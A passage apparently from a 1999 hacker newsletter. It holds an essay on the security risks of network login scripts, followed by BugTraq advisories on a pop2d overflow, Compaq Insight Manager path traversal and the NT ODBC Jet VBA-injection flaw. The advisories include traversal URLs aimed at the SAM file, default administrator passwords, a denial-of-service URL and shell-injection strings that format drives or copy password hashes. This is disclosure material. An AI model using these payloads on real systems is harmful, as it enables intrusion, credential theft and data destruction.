  9951.        corporate environment should take note of their uncomfortable exposure and
  9952.        demand a number of security procedures described herein to protect their
  9953.        networks.  One possible solution for some may be the DoxPrint system designed
  9954.        by this author; it allows users to print to Novell Print Queues over the Network
  9955.        Neighborhood without requiring any Novell code on the client.  Affected
  9956.        universities should consider switching to systems that do not require full logins,
  9957.        until more stable and secure systems are available.
  9958.         
  9959.  
  9960.                                                                
  9961.        What if I told you that every time you turned on your computer, the government
  9962.        could control exactly what would load?  What if, every time you entered your
  9963.        username and password, your ISP gained the ability to specify exactly what
  9964.        software should load, what files to send, maybe even what data to erase?  What
  9965.        if, merely by accessing a web page, your system came under the full control of
  9966.        the page's author, or more accurately any possible author of that page,
  9967.        authorized or not?
  9968.  
  9969.        In each case, the security violation is quite obvious.  Merely drawing electricity,
  9970.        connecting to the Internet, or accessing a web page does not constitute an open
  9971.        license to fully control a computer.  In legal terms, each action by the user is an
  9972.        ongoing communication under contractural obligations--for example, the user
  9973.        agrees to pay a fee and provide authentication material in the form of username
  9974.        and password, and in return the ISP agrees to provide Internet access.  Never
  9975.        does the user agree to a "remote root access contract"!  Whether this access is,
  9976.        in fact, used or abused is irrelevant.  None of the user's actions constitutes
  9977.        acceptance of "handing over the keys of the computer" to an external agent.
  9978.         
  9979.  
  9980.                                                                
  9981.        Of course, sometimes the issue of what, exactly, the term "user" means becomes
  9982.        muddled.  In a corporate environment, the user of the computing environment is
  9983.        not necessarily its owner, nor is he or she the highest authority regarding what
  9984.        should or shouldn't run on the machine.  Login scripts, composed of lists of
  9985.        commands to be executed on the client machines upon the correct provision of
  9986.        username and password, provide a means for the central administrators of
  9987.        corporate computers to automatically connect to network drives and printers. 
  9988.        They also allow the administrators to load any software they choose upon the
  9989.        client computers as if the user himself had run it.  Anything from Censorware to
  9990.        remote control software is within the power of the administrator to load.  This
  9991.        freedom to centrally manage systems is extremely powerful. Some would argue
  9992.        that it's an intrinsic capability of any client-server architecture that claims to be
  9993.        "ready for the enterprise", as the prospect of physically handling each client
  9994.        machine is extraordinarily expensive in terms of funds and manpower.  With
  9995.        every major client-server networking architecture automatically executing the
  9996.        commands contained within login scripts *by default*, it would appear that
  9997.        networking engineers are serving the perceived requirements of the corporate
  9998.        mentality quite well.
  9999.  
  10000.        Small problem:  University dorm networks aren't corporate.
  10001.         
  10002.  
  10003.                                                                
  10004.        The authentication procedures built into Windows NT Domains and Novell
  10005.        Netware are often used by Universities as a means for controlling access to file
  10006.        and print resources.  Both the University and the student are in an advanced
  10007.        version of an Internet Service contract, but it's an ISP contract nonetheless.  The
  10008.        user(student) agrees to pay a fee(tuition) and provide authentication material in
  10009.        the form of username and password, and in return the ISP(University) agrees to
  10010.        provide access to network resources.  Unfortunately, to provide access to file
  10011.        and print resources, Windows(the predominate computing environment on the
  10012.        desktop) cannot generally delay the login procedure until the time of actual
  10013.        usage.  Indeed, just as in the corporate world, the system is presumed to be the
  10014.        property of the institution and the student/employee must thus authenticate him or
  10015.        herself upon startup of the machine. Also, just as in the corporate world, the
  10016.        system will by default execute any commands the system administrators have
  10017.        deemed appropriate.
  10018.  
  10019.        The school does not own the hardware, nor does it own the operating system
  10020.        running upon it.  Even if it did both, it would not own the data on those systems;
  10021.        students do not generally relinquish ownership of their own labor to their
  10022.        educational institution.  It is of the highest inappropriateness, then, that University
  10023.        Information Technology departments receive full access to that which is plainly
  10024.        not theirs.  It's not their faults, really.  They just want to track use and prevent
  10025.        abuse of pseudo-public resources.  The only way to do this lies with the
  10026.        corporate authentication mechanisms within Netware and NT Domains.  That the
  10027.        default setting in both environments is to load any login script provided is the fault
  10028.        of their respective designers, not of the accidental victims in IT.  Ironically, not a
  10029.        bug but a long standing design decision is responsible for what is likely the
  10030.        greatest single computer security vulnerability at many universities.
  10031.         
  10032.  
  10033.                                                                
  10034.        Saying that Login Scripts--something which, for so long, have been considered
  10035.        as innocuous as an ugly background--are indeed such a powerfully damaging
  10036.        technology is a strong statement that needs to be backed up. Login Scripts are
  10037.        so dangerous because they eliminate the most effective element of the security
  10038.        design behind Windows 95 and Windows 98: Security Through Impossibility. 
  10039.        By default, Windows runs almost no services.  You can't telnet in, you can't view
  10040.        the screen remotely, and there is no sendmail or ftp server with buffers to
  10041.        overflow.  The only common service run is the infamous NetBIOS.  The result of
  10042.        this restrictive environment is interesting:  While it's not particularly difficult to
  10043.        remotely crash a 95/98 machine, it's surprisingly hard to remotely compromise
  10044.        this erstwhile insecure operating system without at least some interaction from the
  10045.        user.  It's the difference between a locked door and a brick wall.
  10046.  
  10047.        Some arguably overzealous administrators will use this facet of security to ban
  10048.        any and all services not explicitly authorized(by an Act of God, usually).  This
  10049.        can be excessive, and often prevents significant educational and productivity
  10050.        benefits.  It's not that services are necessarily worrisome so much as the universal
  10051.        deployment of identically insecure services with significant value compromisable
  10052.        by unauthorized access--dedicated servers, unfortunately, have a tendancy to fit
  10053.        very nicely into this category. Sysadmins understand well that since both their
  10054.        servers are at risk and downtime is expensive, it is necessary to have recent
  10055.        backups of servers at all times.  Sometimes, client desktops are also backed up. 
  10056.        But, in an educational institution, it is grossly improper for the university to have
  10057.        copies of student/client data.  Worse, as most computers ship with no
  10058.        system-scale tape backup, very few students are able to back up their data. 
  10059.        This means that gigabytes of student data are protected only by the security built
  10060.        into their operating system.  This actually isn┤t too awful--no default remote
  10061.        access has its advantages--until the login scripts are compromised.  Since the
  10062.        login scripts reside on servers that in general are never considered fully secure by
  10063.        nature of the services they run, and which are further targeted due to the high
  10064.        value gained by a successful penetration, we see the heretofore impossible
  10065.        compromisation of every single networked Windows station nearly
  10066.        simultaneously as being only a matter of changing a few commands in a login
  10067.        script.  Crack one server, and you crack a thousand clients whose only "crime"
  10068.        was stating their identity.  That's one tough lesson.
  10069.  
  10070.        Sadly, some university administrators have responded to this observed threat by
  10071.        claiming that 1) they'd never maliciously enter anything into the login scripts and
  10072.        2) they're pretty much the only ones with access to the login scripts, so "nothing
  10073.        would ever happen." If there was ever a set of famous last words for a system
  10074.        administrator, these would be them.  They've got the keys to systems they don't
  10075.        own, and it's probable that their users don't even know it.  Their intentions are
  10076.        irrelevant; they're not generally the ones to worry about.  As I told one admin,
  10077.        "It's not you I distrust.  It's your computer.  Maybe you'll accidentally share the
  10078.        wrong directory.  Maybe you┤ll be forwarded to a web site that will use a
  10079.        backdoor to initiate a remote LANMAN authentication.  Perhaps a 95/98
  10080.        machine you logged into as Administrator for the domain will have its .PWL files
  10081.        cracked.  Or maybe somebody will sneak in in the middle of the night and install
  10082.        a keylogger.  With one hack providing access to *everybody*'s machine, it's
  10083.        worth it for a cracker to attack; isn't it worth it for you to defend?"
  10084.         
  10085.  
  10086.                                                                
  10087.        If this is making sysadmins in the corporate sector nervous...it should.  Yes, the
  10088.        downside to centralized management is indeed single point of massive failure. 
  10089.        More than ever, businesses are just one disgruntled system adminstrator away
  10090.        from a task-scheduled mass virus infection--or worse.  While indeed there are
  10091.        methods for disabling the loading of login scripts, their all-or-nothing nature
  10092.        makes them unrealistic in many environments.  Businesses should not need to
  10093.        choose between tremendous risk and necessary functionality.  Microsoft and
  10094.        Novell need to implement the following functionality in their login script code:
  10095.  
  10096.        1)  Script Capabiltiies.  Login scripts allow drives to be mounted, printers to be
  10097.        connected, applications to be loaded from remote drives, and so on.  System
  10098.        administrators need the ability to specify exactly which commands a client
  10099.        machine should honor.  This provides a barrier to abuse--a site that only uses
  10100.        login scripts to mount network drives should be able to restrict clients to the
  10101.        degree of functionality the site requires.  There are going to be issues, of course,
  10102.        with executable code on remote drives.  To address this, we require...
  10103.  
  10104.        2)  Data Signatures.  Cryptographic signatures on executable content, most
  10105.        commonly used by Microsoft's Authenticode system, provide a means for
  10106.        insecure systems to verify the appropriateness of remotely executed code. 
  10107.        Sysadmins should be able to "sign" login scripts, as well as commonly executed
  10108.        remote code, and then specify that unless the client detects a signature from a
  10109.        "trusted" list, the content should be considered unauthorized.  Sysadmins should
  10110.        also be able to sign actual executables(and maybe even data files) as acceptable
  10111.        for remote execution.
  10112.  
  10113.        3)  Executable hash checking.  A slightly different tact might be to have clients
  10114.        cache hash values of specific files commonly run.  Given a change from one
  10115.        session to another in the file hash, a trap could be sent to the administrator noting
  10116.        him or her that a system breach may have occurred.  It┤s one thing to replace the
  10117.        contents of a file, but it┤s another to have to operate against the memory of every
  10118.        client that accessed the old file.  This is a useful way to flip the disadvantage of
  10119.        large numbers of dumb machines into an advantage of intelligent agents with
  10120.        configurable responses to non-matching hashes.
  10121.  
  10122.        Of course, the ultimate solution to this issue is to emulate a an alternate login
  10123.        paradigm that Win95/98 implements to some degree.  As Russ Cooper, editor
  10124.        of NTBugTraq, writes:
  10125.  
  10126.        There is *no need* for a client machine (be it Win9x or NT) to logon in to a domain in
  10127.        a way that would invoke a login script in order to gain access to its resources. You
  10128.        log into the machine itself (the client machine), and then connect to the resource
  10129.        and supply a userID and password. This will establish the connection, without
  10130.        invoking the login script. Bingo, problem solved, no?
  10131.  
  10132.        Novell and many other systems need to emulate this usage paradigm post-haste,
  10133.        and institutions still using full Domain logins must cease as soon as possible.
  10134.         
  10135.  
  10136.                                                                
  10137.        Universities should consider implementing systems that do not require any form
  10138.        of login procedure for the user to access his or her own computer.  The
  10139.        reasoning for this is a matter of ownership--what right does a university have to
  10140.        deny a user access to his or her own computer?  Password security is
  10141.        notoriously bad anyway, and is far too insecure for any degree of
  10142.        non-repudiability.  I┤m working on a solution for switched hubs involving using
  10143.        MAC Caches to allow trustable two-way communication traces.
  10144.  
  10145.        Those who insist upon using login procedures need to be disable them
  10146.        immediately for dorm-room computers.  Students who need to connect to
  10147.        specific shares should be given a batch script to load--this will, incidentally,
  10148.        eliminate nasty situations where login scripts appropriate for one
  10149.        environment(say, the capturing of LPT1 to a printer port) are completely
  10150.        inappropriate in another(say, when that same user is in their dorm room).
  10151.  
  10152.        For those administrators running Novell Netware all the way to your student┤s
  10153.        desktop, I implore you to evaluate DoxPrint.  DoxPrint allows sysadmins to
  10154.        enjoy most of the advantages of running Netware servers on the backend while
  10155.        sparing Windows clients the hardship of installing and maintaining the Novell
  10156.        client code.  All access occurs over the Network Neighborhood, and is quite
  10157.        flexible in its programmability and authentication.  It┤s been tested and proven as
  10158.        a powerful solution to some of the problems Netware creates.
  10159.  
  10160.                                                                
  10161.        It┤s a strange thing, that such a common function would turn out so open for
  10162.        abuse.  System designers who create new functionality need to include security
  10163.        considerations at every phase of the design process.  Any time network access
  10164.        to a system is introduced, there is a significant burden of functionality upon
  10165.        the system to verify that the actions executed on behalf of the remote agent
  10166.        are appropriate.  Failure to meet this burden is technical irresponsibility and
  10167.        must be prevented at all costs.
  10168.  
  10169.        I am immensely curious as to the reactions of Microsoft, Novell, and any other
  10170.        administrator who is reading this now.  Please, send me your opinions; I┤ll
  10171.        publish the best of the replies.
  10172.         
  10173.  
  10174.        @HWA
  10175.  
  10176.  
  10177.  50.0 Vulnerability in pop2.imap
  10178.       ~~~~~~~~~~~~~~~~~~~~~~~~~~
  10179.       
  10180.       Date: Wed, 26 May 1999 20:37:13 +0100
  10181.       From: Chris Evans <chris@FERRET.LMH.OX.AC.UK>
  10182.       To: BUGTRAQ@netspace.org
  10183.       Subject: Remote vulnerability in pop2d
  10184.       
  10185.       Hi
  10186.       
  10187.       Firstly, sorry if any details are hazy - this is from memory (it's two
  10188.       months since I last looked at this). This bug concerns the pop-2 daemon,
  10189.       which is a part of the Washington University imap package.
  10190.       
  10191.       I've been waiting for a CERT advisory, but one doesn't seem to be
  10192.       forthcoming. Two and a half months is a long time. Also, the problem has
  10193.       been fixed for a long time. I'm posting because
  10194.       
  10195.       a) A fixed full release is available, so people should know about it
  10196.       b) The flaw is fairly basic and easy to spot, so active exploitation could
  10197.       well be happening
  10198.       
  10199.       Quick details
  10200.       =============
  10201.       
  10202.       Compromise possible:  remote users can get a shell as user "nobody"
  10203.       If:                   runing pop-2d v4.4 or earlier
  10204.       
  10205.       Fixed version:        imap-4.5, available now.
  10206.       
  10207.       
  10208.       Not vulnerable
  10209.       ==============
  10210.       RedHat-6.0 isn't vulnerable because imap-4.5 was shipped.
  10211.       
  10212.       Vulnerable
  10213.       ==========
  10214.       
  10215.       Anyone who shipped the pop-2 component of imap-4.4 or earlier, including
  10216.       earlier RedHat releases
  10217.       
  10218.       
  10219.       Details of flaw
  10220.       ===============
  10221.       
  10222.       pop-2 and pop-3 support the concept of an "anonymous proxy" whereby remote
  10223.       users can connect and open an imap mailbox on _any server they have a
  10224.       valid account on_. An attacker connects to the vulnerable pop-2 port and
  10225.       connects it to an imap server under their control. Once logged on, issuing
  10226.       a "FOLD" command with a long arg will cause an overflow of a stack based
  10227.       buffer.
  10228.       
  10229.       The arg to FOLD must be somewhere around 1000 bytes - not much bigger, not
  10230.       much smaller. Look at the source.
  10231.       
  10232.       Additional
  10233.       ==========
  10234.       
  10235.       I think the concept of "anonymous proxy" is just fundamentally insecure.
  10236.       It opens up a large code path for remote usrs to explore, i.e. the
  10237.       protocol parsing of imap, etc.
  10238.       
  10239.       The author of imap very responsibly includes a compile time flag to
  10240.       disable this in 4.5.
  10241.       
  10242.       Better still, RedHat-6.0 ships with the proxy disabled.
  10243.       
  10244.       
  10245.       Cheers
  10246.       Chris
  10247.       
  10248.       
  10249.       @HWA
  10250.  
  10251.  51.0 Infosec.19990526.compaq-im.a 'Compaq insight manager vulnerability'
  10252.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~         
  10253.  
  10254.       Date: Wed, 26 May 1999 16:41:36 +0100
  10255.       From: gabriel.sandberg@INFOSEC.SE
  10256.       To: BUGTRAQ@netspace.org
  10257.       Subject: Infosec.19990526.compaq-im.a
  10258.       
  10259.       Infosec Security Vulnerability Report
  10260.       No: Infosec.19990526.compaq-im.a
  10261.       =====================================
  10262.       
  10263.       Vulnerability Summary
  10264.       ---------------------
  10265.       
  10266.       Problem:  The web server included in Compaq Insight
  10267.                      Manager could expose sensitive information.
  10268.       
  10269.       Threat:   Anyone that have access to port 2301 where
  10270.                      Compaq Insight Manager is installed could get
  10271.                      unrestricted access to the servers disk through
  10272.                      the "root dot dot" bug.
  10273.       
  10274.       Platform: Detected on Windows NT and Novell Netware servers
  10275.                      running on Compaq hardware.
  10276.       
  10277.       Solution: Disable the Compaq Insight Manager web server or
  10278.                      restrict anonymous access.
  10279.       
  10280.       
  10281.       Vulnerability Description
  10282.       -------------------------
  10283.       When installing Compaq Insight Manager a web server gets installed. This web
  10284.       server runs on port 2301 and is vulnerable to the old "root dot dot" bug. This
  10285.       bug gives unrestricted access to the vulnerable server?s disk. It could easily
  10286.       get exploited with one of the URLs:
  10287.       
  10288.       http://vulnerable-NT.com:2301/../../../winnt/repair/sam._
  10289.       http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf
  10290.       
  10291.       (How many dots there should be is install-dependent)
  10292.       
  10293.       
  10294.       Solution
  10295.       --------
  10296.       You could probably fix the problem by restricting anonymous access to the Compaq
  10297.       Insight Manager web server. If you are not using the web server, Infosec
  10298.       recommends disabling the service.
  10299.       
  10300.       
  10301.       Background
  10302.       ----------
  10303.       Infosec gives the credits to Master Dogen who first reported the problem
  10304.       (Windows NT and Compaq Insight Manager) to us and wanted us go public with a
  10305.       vulnerability report.
  10306.       
  10307.       Infosec have found that Novell Netware with Compaq Insight Manager have the same
  10308.       problem but is not as common as on Windows NT.
  10309.       
  10310.       Compaq Sweden was informed about this problem april 26, 1999.
  10311.       
  10312.       
  10313.       //Gabriel Sandberg, Infosec
  10314.       gabriel.sandberg@infosec.se
  10315.       
  10316.       ------------------------------------------------------------------------------
  10317.       
  10318.       Date: Wed, 26 May 1999 16:13:19 -0500
  10319.       From: Vacuum <vacuum@SWORD.DAMOCLES.COM>
  10320.       To: BUGTRAQ@netspace.org
  10321.       Subject: Re: Infosec.19990526.compaq-im.a
  10322.       
  10323.       Please disgregard previous post, the signature got in the way of a paste
  10324.       
  10325.       
  10326.        In addition to //Gabriel Sandberg, Infosec gabriel.sandberg@infosec.se's
  10327.        findings.
  10328.       
  10329.       Web-Based Management is enabled, by default, when you install the Compaq
  10330.       Server Management Agents for Windows NT.(CPQWMGMT.EXE) The web-enabled
  10331.       Compaq Server Management Agents allow you to view subsystem and status
  10332.       information from a web browser, either locally or remotely. Web-enabled
  10333.       Service Management Agents are availible in all 4.x versions of Insight
  10334.       Manager.
  10335.       
  10336.       Compaq HTTP Server Version 1.2.15 (Pre-Release)
  10337.       
  10338.       
  10339.        The only user accounts available in the  Compaq Server Management
  10340.        Agent WEBEM release are listed below.
  10341.       
  10342.       
  10343.        http://111.111.111.111:2301/cpqlogin.htm
  10344.       
  10345.        account anonymous
  10346.        username anonymous
  10347.        password
  10348.       
  10349.        account user
  10350.        username user
  10351.        password public
  10352.       
  10353.        account operator
  10354.        username operator
  10355.        password operator
  10356.       
  10357.        account administrator
  10358.        username administrator
  10359.        password administrator
  10360.       
  10361.        http://111.111.111.111:2301/cpqlogin.htm?ChangePassword=yes
  10362.        is the url used to change the password. Unfortunately the password is
  10363.        the only information that can be changed and is stored in
  10364.        clear text in the following file.
  10365.       
  10366.       c:\compaq\wbem\cpqhmmd.acl
  10367.       -------------------------------------------------------------------------------------
  10368.       Compaq-WBEM-AclFile, 1.1
  10369.             anonymous anonymous 737EEEFA7617ED94EDD74E659B83035F
  10370.             login in progress...  login in progress...
  10371.       7A21DD9917C0C23907267FC07DBC7D12
  10372.             administrator administrator D6022D9B3FCA717CCEED36E640160478
  10373.       51B02137D6BF719FC62F4940DBE1F3E6
  10374.             operator operator B5CE548356D1BEA5F1CFEE12FE9502C3
  10375.       041D1015AEC9F60412C7F86E62D6672C
  10376.             user                                                            user
  10377.       EC286E733A8892ADFC895611D1557557 C865DE636CA398F8523EDBE5700D457A
  10378.       
  10379.        Once you have found one wbem enabled machine, using compaq's HTTP
  10380.        Auto-Discovery Device List http://111.111.111.111:2301/cpqdev.htm
  10381.        It is trivial to locate other machines.
  10382.       
  10383.       ------------------------------------------------------------------------------
  10384.       
  10385.       Date: Thu, 27 May 1999 21:43:09 -0500
  10386.       From: Vacuum <vacuum@SWORD.DAMOCLES.COM>
  10387.       To: BUGTRAQ@netspace.org
  10388.       Subject: Re: Infosec.19990526.compaq-im.a (New DoS and correction to my              previous post)
  10389.       
  10390.       Upon further research, I must retract my earlier statement that the
  10391.       Compaq Insight Manager Web Agent's passwords are stored in clear text.
  10392.       Infact, what we see in cpqhmmd.acl are the account name and username in
  10393.       clear text NOT the password.
  10394.       
  10395.       Explanation of username and password combinations mentioned in my previous
  10396.       post.
  10397.       
  10398.       c:\compaq\wbem\cpqhmmd.acl
  10399.       or
  10400.       http://111.111.111.111:2301/../../../compaq/wbem/cpqhmmd.acl
  10401.       cpqhmmd.acl contents:
  10402.       Compaq-WBEM-AclFile, 1.1
  10403.       anonymousanonymous737EEEFA7617ED94EDD74E659B83035F
  10404.       login in progress...login in progress...7A21DD9917C0C23907267FC07DBC7D12
  10405.       administratoradministrator37741E7AC5B9871F87CE6ABE15B28FCB070293B3998C461D866E277A259619F0
  10406.       operatoroperatorB5CE548356D1BEA5F1CFEE12FE9502C3041D1015AEC9F60412C7F86E62D6672C
  10407.       useruserEC286E733A8892ADFC895611D1557557C865DE636CA398F8523EDBE5700D457A
  10408.       
  10409.       The default usernames and password combinations that I mentioned in my
  10410.       previous
  10411.       post are still valid.
  10412.       
  10413.       Once again these are the defaults: account: anonymous username: anonymous
  10414.       password:
  10415.        account: user username: user password: public
  10416.        account: operator username: operator password: operator
  10417.        account: administrator username: administrator password: administrator
  10418.       
  10419.       There are three types of data:
  10420.       Default(read only), Sets(read/write), and Reboot(read/write).
  10421.       The WebAgent.ini file in the system_root\CpqMgmt\WebAgent directory
  10422.       specifies the level
  10423.       of user that has access to data . The "read=" and "write=" entries in the
  10424.       file set the
  10425.       user accounts required for access, where: 0 = No access, 1 = Anonymous, 2
  10426.       = User,
  10427.       3 = Operator, and 4 = Administrator.
  10428.       Changing these entries changes the security. The web-enabled Server Agent
  10429.       service must
  10430.       be stopped and restarted for any changes to take effect. Do not modify
  10431.       anything except
  10432.       the read/write levels.
  10433.       
  10434.       New Denial of service:
  10435.       
  10436.       Just to make this post somewhat worthwile.
  10437.       http://111.111.111.111:2301/AAAAAAAA..... (223 A's seemed to be the
  10438.       minimum)
  10439.       
  10440.       The first time this occurs, an application error occurs in surveyor.exe
  10441.       Exception: access violation (0xc0000005), Address: 0x100333e5
  10442.       
  10443.       If you restart the Insight Web Agent Service and repeat it
  10444.       will cause an application error in cpqwmget.exe
  10445.       Exception: access violation(0xc0000005), Address 0x002486d4
  10446.       
  10447.       The http://111.111.111.111 will no longer respond until the service is
  10448.       stopped and restarted.
  10449.       
  10450.       Apologies for my previous error.
  10451.       vac
  10452.       
  10453.       ------------------------------------------------------------------------------
  10454.       
  10455.       Date: Fri, 28 May 1999 08:54:10 -0400
  10456.       From: Ricky Mitchell <rjmitchell@COLUMBIAENERGYGROUP.COM>
  10457.       To: BUGTRAQ@netspace.org
  10458.       Subject: second compaq insight manager vulnerablilty
  10459.       
  10460.       Greetings,
  10461.       
  10462.       Yesterday while I was removing the "web insight agent" service from the our
  10463.       vulnerable NT servers, I noticed on some machines that port 2301 was still
  10464.       vulnerable. To completely remove the problem, make sure you also stop the
  10465.       "surveryor" service as well if you have that installed. That will
  10466.       completely shut off access to port 2301 and plug the hole.
  10467.       
  10468.       Regards,
  10469.       
  10470.       Rick Mitchell
  10471.       NT administrator
  10472.       Columbia Gas Transmission Corp
  10473.       
  10474.       @HWA 
  10475.       
  10476.  52.0 Advisory: NT ODBC Remote Compromise
  10477.       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  10478.  
  10479.       Date: Tue, 25 May 1999 13:59:30 -0500
  10480.       From: .rain.forest.puppy. <rfp@WIRETRIP.NET>
  10481.       To: BUGTRAQ@netspace.org
  10482.       Subject: Advisory: NT ODBC Remote Compromise
  10483.       
  10484.       --[ Advisory: NT ODBC Remote Compromise
  10485.       
  10486.       --[ By Matthew Astley      [RCPS]        http://www.fruitcake.demon.co.uk
  10487.       --[  & Rain Forest Puppy   [WireTrip]    rfp@wiretrip.net
  10488.       
  10489.       --[ Brief Summary
  10490.       
  10491.       MS Jet database engine (which runs Access databases) allows an individual
  10492.       to embed VBA in string expressions, which may allow the individual to run
  10493.       commandline NT commands.  This, combined with the flaw of IIS running ODBC
  10494.       commands as system_local allow a remote attacker to have full control of
  10495.       the system.  Other webservers may be affected.  Many MS Jet engines are
  10496.       affected, but may not lead to elevated priviledges.
  10497.       
  10498.       --[ Background
  10499.       
  10500.       ODBC allows a program flexible access to one or more relational databases
  10501.       using SQL. If a client fails to quote correctly the meta characters in a
  10502.       piece of data used in an SQL query, an attacker may be able to interfere
  10503.       with the tables in the database (see MS SQL appension 'feature' in Phrack
  10504.       54, article 8).
  10505.       
  10506.       However, the Microsoft "Jet" database engine (aka MS Access) provides some
  10507.       extensions to SQL which allow the execution of VBA (Visual Basic for
  10508.       Applications). This makes holes in meta character quoting code much more
  10509.       interesting and dangerous.
  10510.       
  10511.       --[ What form does the hole take?
  10512.       
  10513.       In SQL, strings must be enclosed in single quotes. If a string includes a
  10514.       single quote it must be escaped by doubling it up.
  10515.       
  10516.       The Jet engine extends this by allowing strings to enclose a VBA
  10517.       expression inside vertical bar characters in the string, like this:
  10518.       
  10519.               select 'lil'' string | 6+7 | with number' as foo from table;
  10520.       
  10521.       This will produce a recordset containing one field with the value "lil'
  10522.       string 13 with number" for each row of the input table. Innocent enough,
  10523.       if the CGI or ASP programs correctly quote the incoming data.
  10524.       
  10525.       However, since the pipe operator is a rather obscure character and is very
  10526.       poorly documented, most people don't know it's there - apparently even
  10527.       Microsoft programmers.
  10528.       
  10529.       --[ It's a feature, not a bug!
  10530.       
  10531.       Note the following excerpt from a MS Knowledge Base article:
  10532.       (http://support.microsoft.com/support/kb/articles/q147/6/87.asp)
  10533.       
  10534.       Pipe Character or Vertical Bar
  10535.       
  10536.         The pipe character or vertical bar is a reserved character for the Jet
  10537.       database engine. It tells the Jet database engine to evaluate the
  10538.       identifier before evaluating the rest of the expression. Therefore, the
  10539.       Jet database engine inserts the value of the identifier in the expression,
  10540.       and then evaluates it.
  10541.       
  10542.         Vertical bars are used most often in domain aggregate functions when you
  10543.       want the function to automatically recalculate the value it returns in
  10544.       filters. Or vertical bars are used as an alternative to the ampersand (&)
  10545.       operator when you concatenate text values. Because of this, you cannot
  10546.       embed the vertical bar (|) in a literal string, you must embed the Chr()
  10547.       function. Chr(124) is the vertical bar.
  10548.       
  10549.       --[ Where does it apply?
  10550.       
  10551.       Any textual data included in a Jet SQL query can contain quoted VBA,
  10552.       whether it is in data to be inserted in a new record or part of a
  10553.       condition expression. This makes the hole very general (or flexible, if
  10554.       you prefer), since you don't need to know the context in which the string
  10555.       will be evaluated.
  10556.       
  10557.       --[ What commands are available?
  10558.       
  10559.       The biggest restriction is that the code must be evaluated in an
  10560.       expression context - no statements.
  10561.       
  10562.       Anything listed as "VBA" in the "Functions Reference" page of the Access
  10563.       Help file will work, although this seems to vary between versions of the
  10564.       Jet engine - for example, in some cases the "eval" function works and in
  10565.       others it doesn't (although when it is available, eval doesn't actually
  10566.       help much because the |...| operator offers a similar if not identical
  10567.       context).
  10568.       
  10569.       The most useful command is "shell", although this in itself cannot do
  10570.       redirections or pipes - cmd.exe can assist with this though.  By using the
  10571.       shell function and running cmd.exe, an attacker can run any command on the
  10572.       system.
  10573.       
  10574.       environ() can also be useful to get environment variables values into your
  10575.       commands, and chr() can be very handy for quoting awkward characters using
  10576.       alphanumerics and brackets. There are also the standard functions like
  10577.       iif() and various string operations (use "&" for concatenation).
  10578.       
  10579.       It would be very difficult to include any kind of loop in the VBA fragment
  10580.       because loops do not have return values.
  10581.       
  10582.       --[ Which characters need quoting, and how?
  10583.       
  10584.       If the exploit string will be passing through anything that tries to
  10585.       escape special characters then ' will be double up - best to use "
  10586.       instead.
  10587.       
  10588.       Ironically, the vertical bar character can only be escaped by using it to
  10589.       evaluate the chr(124) function.
  10590.       
  10591.       VBA will take pairs of double-quotes (") in a VBA string constant the same
  10592.       way SQL will take pairs of single-quotes. If this doesn't seem to work you
  10593.       can always use chr(34).
  10594.       
  10595.       ASP also provides a convenient debugging aid - if the expression cannot be
  10596.       correctly evaluated the error message will often include the whole SQL
  10597.       query with the partially decoded exploit string in it--this could help an
  10598.       attacker 'tweak' the exploit string until it works.
  10599.       
  10600.       If the command needs to be broken up with newlines, they can be inserted
  10601.       between VBA operators inside the |...| construction.
  10602.       
  10603.       --[ How about a practical example?
  10604.       
  10605.       An example of a pipeline:
  10606.       
  10607.               |shell("cmd /c echo " & chr(124) & " format a:")|
  10608.       
  10609.       will format whatever is in the floppy drive at the time. Any errors will
  10610.       be silently ignored, although an iconised window will take the focus for
  10611.       the duration of the command.
  10612.       
  10613.       Using "cmd /c" allows the command piping necessary to get a newline into
  10614.       the format command, otherwise the pipe and 'format' are passed as
  10615.       arguments to 'echo'.
  10616.       
  10617.       This string can be included in anything from a simple ODBC operation to a
  10618.       text item in an ASP form on a web page. The function will normally
  10619.       evaluate to a two or three digit number.
  10620.       
  10621.       A more sophie's-stick-ate-it example involves grabbing a copy of the SAM:
  10622.       
  10623.               |shell("cmd /c rdisk /S-")|
  10624.               |shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
  10625.       
  10626.               ** this example includes assumptions about the location of the
  10627.               ** system and www publishing directory; it's only an example
  10628.       
  10629.       Commands can be stacked:
  10630.       
  10631.               |shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \
  10632.               >> %temp%\foo.txt") & shell("cmd /c echo 3 >> %temp%\foo.txt")|
  10633.       
  10634.               ** line broken for clarity
  10635.       
  10636.       It is not clear that the commands will always be executed in order. Each
  10637.       shell command executes asynchronously so the code above has two races for
  10638.       whether the shell commands finish updating the file before the next one
  10639.       starts - results will be variable.
  10640.       
  10641.       --[ Could an attacker modify registry keys?
  10642.       
  10643.       Ultimately the hole allows anything since you can up/download and run any
  10644.       code, but modifying registry keys from VBA seems to be a little tricky.
  10645.       
  10646.       The method using advapi32.dll won't work because it requires statements to
  10647.       declare functions from the library, but there doesn't seem to be a way of
  10648.       giving a statement a return value in VBA.
  10649.       
  10650.       It would be easier to create a temporary .reg file and then merge it with
  10651.       "cmd /c regedit /s %temp%\tmp.reg"; the '/s' is important, as it
  10652.       suppresses the informational dialogs/windows.
  10653.       
  10654.       --[ What permissions will an attacker have?
  10655.       
  10656.       The dangerous part comes from a context misinterpretation with IIS.  IIS
  10657.       runs as system_local; it changes its token context (typically to IUSR_xxx)
  10658.       for filesystem access and application execution.  However, the context
  10659.       does *NOT* change when interfacing with the ODBC API.  Therefore all ODBC
  10660.       functions (and the associated database calls) are happening under
  10661.       system_local.  This allows full access to the system.
  10662.       
  10663.       --[ Theory of exploitation
  10664.       
  10665.       This problem can be used over the web against scripts that make queries
  10666.       against local MS Jet ODBC DSNs, therefore, any script or application that
  10667.       uses a MS Jet ODBC DSN could potentially be exploited.  The solution is to
  10668.       not use MS Jet ODBC drivers for any DSN--until Microsoft releases a fix.
  10669.       But since this is a documented feature, there stands a chance that some
  10670.       applications may break if removed.
  10671.       
  10672.       --[ Reality of exploitation
  10673.       
  10674.       Ok, so let's get down to some nitty-gritty, real-life examples.  We'll
  10675.       give a few that just demonstrate the problem....but since any
  10676.       script/application that gives user entered strings to the MS Jet ODBC DSN
  10677.       are vulnerable, we're not going to laundry-list them; rather, we'll show
  10678.       some of the more common cases we found.
  10679.       
  10680.       --[ Importance of the DSN
  10681.       
